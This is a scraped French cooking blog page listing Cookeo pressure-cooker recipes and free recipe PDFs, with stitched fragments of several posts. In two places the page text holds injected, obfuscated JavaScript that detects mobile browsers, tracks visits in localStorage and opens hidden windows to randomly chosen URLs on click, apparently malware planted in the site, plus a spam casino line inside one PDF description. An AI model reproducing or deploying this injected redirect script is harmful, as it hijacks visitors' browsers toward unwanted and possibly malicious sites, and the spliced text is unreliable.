320 Recettes cookeo lettres MNOP le PDF gratuit

320 Recettes cookeo lettres MNOP le PDF gratuit320 Recettes cookeo lettres MNOP le PDF gratuit

 

Vous trouverez dans de PDF 320 Recettes cookeo classées par ordre alphabétique avec les lettres MNOP  .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes



//

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60 recettes cookeo lettres IJKL le PDF gratuit

60 recettes cookeo lettres IJKL le PDF gratuit60 recettes cookeo lettres IJKL le PDF gratuit

Vous trouverez dans de PDF 60 Recettes cookeo classées par ordre alphabétique avec les lettres IJKL  .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes



//

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Paupiettes tomates recette cookeo

Paupiettes tomates recette cookeoPaupiettes tomates recette cookeo

Ingrédients pour 5 personnes

5 paupiettes de proc

1 oignon

1 grosse boite de champignons de Paris

1 petite boite de tomates pelées

1 cube de bouillon de bœuf

300 ml d’eau

Sel

Poivre

2 cuillères à café de concentré de tomates

1 cuillère à café de moutarde

1 petit verre de vin blanc

 

Préparation

Mode dorer

Faites dorer les oignons avec de l’huile d’olive dans la cuve .

Faites dorer ensuite les paupiettes de porc .

Ajoutez les champignons de Paris ,les tomates pelées.

Versez le verre de vin blanc et 300 ml d’eau avec le cube de bouillon de bœuf émietté.

Salez et poivrez .

Cuisson rapide ou sous pression

Programmez 15 mn

Quand la cuisson est terminée ajoutez la moutarde et les 2 cuillère sà café de concentré de tomates. Servez chaud



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Riz boulettes champignons recette cookeo

Riz boulettes champignons recette cookeo

Riz boulettes champignons recette cookeo 

Ingrédients pour 4 personnes

12 boulettes de bœuf

240 g de riz

1 verre de vin blanc

1 cube de bouillon de bœuf

200 g de champignons de Paris

100 g d’oignons

Sel

Poivre

300 ml d’eau

Préparation

Faites dorer avec l’huile d’olive les oignons et les boulettes de viandes.

Ajoutez ensuite au bout de 2 mn les champignons de Paris .

Ajoutez le riz.

Versez le verre de vin blanc et les 300 ml d’eau avec le cube de bouillon de bœuf émietté.

Cuisson rapide ou sous pression

Programmez 5 mn (le temps indiqué sur le paquet de riz divisé par 2)

Servez chaud


//

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Hachis parmentier recette cookeo

Hachis parmentier recette cookeo

Hachis parmentier recette cookeo

Ingrédients pour 6  personnes

600 g de viande hachée

100 g d’oignons

1,5 kg de pommes de terre

Huile d’olive

400 ml d’eau

1 cube de bouillon de boeuf

1 cuillère à café d’ail déshydraté

sel

100 g de gruyère rape

2 cuillères à soupe de crème fraîche

400 ml d’eau

Muscade

Préparation

Mode dorer

Versez l’huile dans la cuve et faites revenir la viande hachée , l’oignon et l’ail .

Réservez la viande et les oignons dans un plat qui va au four .

Sans laver la cuve déposez les pommes de terre coupées en morceaux  ,versez les 400 ml d’eau avec le cube de bouillon de boeuf.

Salez et poivrez selon votre convenance

Saupoudrez de muscade .

Cuisson rapide ou sous pression

Programmez  15 mn.

Quand la cuisson est terminée passez les pommes de terre au presse purée.

Ajoutez la crème fraîche .

Répartissez la purée sur la viande hachée.

Saupoudrez de gruyère râpé .

En fournez pendant 10 mn à 180 ° . Puis passez en position grill pendant 5 mn

Servez chaud


//


//

Hachis parmentier au cookeo par jphil3600
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130 Recettes cookeo lettres FGH un PDF gratuit

130 Recettes cookeo lettres FGH un PDF gratuit130 Recettes cookeo lettres FGH  un PDF gratuit

Vous trouverez dans de PDF 130 Recettes cookeo classées par ordre alphabétique avec les lettres QRST  .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes



//
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Veau provençale recette cookeo

 

Veau provençale recette cookeo

Veau provençale recette cookeo

Ingrédients pour 4 personnes

100 d’oignons congelés

1 kg  de veau en morceaux

300 g de lanières de poivrons congelées

100 g d’olives dénoyautées

200 ml d’eau

2 Cuillères à café de concentré de tomate

1 petite boite de tomates pelées

1 cuillère à soupe de moutarde

1 cube de bouillon de boeuf

Huile d’olive

Sel, poivre

Préparation :

Mode dorer

Versez l’huile dans la cuve  et faites revenir les morceaux  d’oignon  et de viande .

Ajoutez ensuite les poivrons .

Ajoutez Les olives.

Versez la boite de tomates pelées.

Versez 200 ml d’eau avec le cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 18 mn .

Quand la cuisson est terminée ajoutez les 2 cuillères à café de  concentré de tomates et  la cuillère de moutarde

Servez chaud .


//


Veau provençal au cookeo par jphil3600


//
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Purée crevettes paprika recette cookeo

Purée crevettes paprika recette cookeoPurée crevettes paprika recette cookeo

Voici une recette de purée crevettes paprika . Une recette inspirée d’une recette weight watchers qui s’intitulait hachis crevettes paprika . Un plat que j’ai légèrement modifié comme d’habitude.

300 CALORIES   6 PP 7 SP

Ingredients pour 5  personnes

1,200 kg de pommes de terre

500 crevettes décortiquées congelées

500 ml d’eau

1 cube de bouillon de volaille

sel

Poivre

2 cuillères à soupe de crème fraîche

Paprika

 Préparation

Déposez les pommes de terre coupées en morceaux  dans la cuve ,versez les 500 ml d’eau avec le cube de bouillon de volaille.

Ajoutez les crevettes décortiquées congelées

 

Salez et poivrez selon votre convenance

Saupoudrez de paprika .

Cuisson rapide ou sous pression

Programmez  15 mn.

 

Quand la cuisson est terminée passez les pommes de terre au presse purée.

Ajoutez la crème fraîche .

Servez chaud

 



//

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320 Recettes cookeo lettres QRST le PDF gratuit

 330 Recettes cookeo lettres QRST

330 Recettes cookeo lettres QRST

Vous trouverez dans de PDF 180 Recettes cookeo classées par ordre alphabétique avec les lettres QRST  .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes



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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Démontage du cache sous le cookeo

Démontage du cache sous le cookeoDémontage du cache sous le cookeo

Voici une vidéo pour vous montrer comment on peut démonter facilement le cache sous le cookeo . Ce démontage vous permet de nettoyer ou de changer une pièce de votre cookeo . En visionnant cette vidéo vous allez comprendre pourquoi je me suis trouvé dans l’obligation de démonter ce cache . J’espère qu’il ne vous arrivera pas la même chose .


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Potée saucisses maison recette cookeo

 

Potée saucisses maison recette cookeoPotée saucisses maison recette cookeo

Ingrédients pour 4 personnes

4 saucisses de Toulouse

4 saucisses fumées

6 carottes

3 blancs  de poireaux

1 navet

6 pommes de  terre

1 cube de bouillon de bœuf

1 verre de vin blanc

1 litre d’eau

1 oignon

Sel

Poivre

Préparation

Mode dorer

Faire revenir les saucisses et les morceaux d’oignons quand le préchauffage est terminé.

Ajoutez ensuite les carottes, les pommes de terre, le navet coupé en morceaux , les poireaux

Versez le verre de vin blanc et le bouillon constitué d’un litre d’eau et du cube de bouillon de bœuf émietté

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 20 mn

Servez chaud .



//

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71 Recettes cookeo lettres D/E le PDF gratuit

71 Recettes cookeo lettres D/E71 Recettes cookeo lettres D/E

Vous trouverez dans de PDF 71 Recettes cookeo classées par ordre alphabétique avec la lettre D ET E .Vous pouvez télécharger gratuitement ce PDF en cliquant sur l’image .

Ce PDF est issu du PDF 1200 recettes auquel j’ai rajouté de nouvelles recettes



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90 Recettes cookeo régime

90 Recettes cookeo régime

 90 Recettes cookeo régime

Voici un PDF gratuit de 90 recettes cookeo régime destiné à ceux qui veulent faire attention à leur ligne mais aussi à ceux qui sont gourmands car on peut manger bien sans forcément affoler la balance .

Ce PDF est constitué de :

-62 recettes weight watchers chiffrées en PP et SP;

-All Australian-friendly Casinos here.

-29 recettes diététiques chiffrées en calories mais aussi en SP et PP

Pour télécharger le PDF CLIQUEZ SUR  L’IMAGE


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Spaghettis poulet courgettes cookeo

Spaghettis poulet courgettes cookeo

Spaghettis poulet courgettes cookeo

356 CAL        7 PP      11 SP

Ingrédients pour 4 personnes

600 g d’escalope de poulet

280 g de spaghettis

200 g de courgettes

100 g d’oignons

1 cube de bouillon de volaille

2 cuillères à soupe de crème fraîche

400 ml d’eau

Sel

Poivre

Huile d’olive

Préparation

Mode dorer

Faites revenir les oignons et la viande coupée en morceaux dans la cuve avec de l’huile d’olive.

Déposez les spaghettis coupées en 2 dans la cuve puis les courgettes .

Salez et poivrez selon votre convenance

Versez  400 ml d’eau avec  le cube de bouillon de bœuf émietté.

Cuisson rapide ou sous pression

Programmez 4 mn (le temps indiqué sur le paquet de spaghettis divisé par 2). Choisissez départ immédiat ou départ différé.

Ajoutez les cuillères de crème fraîche avant de servir

Servez chaud



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Spaghettis poulet courgettes au cookeo par jphil3600

SPAGHETTIS POULET COURGETTES cookeo par jphil3600
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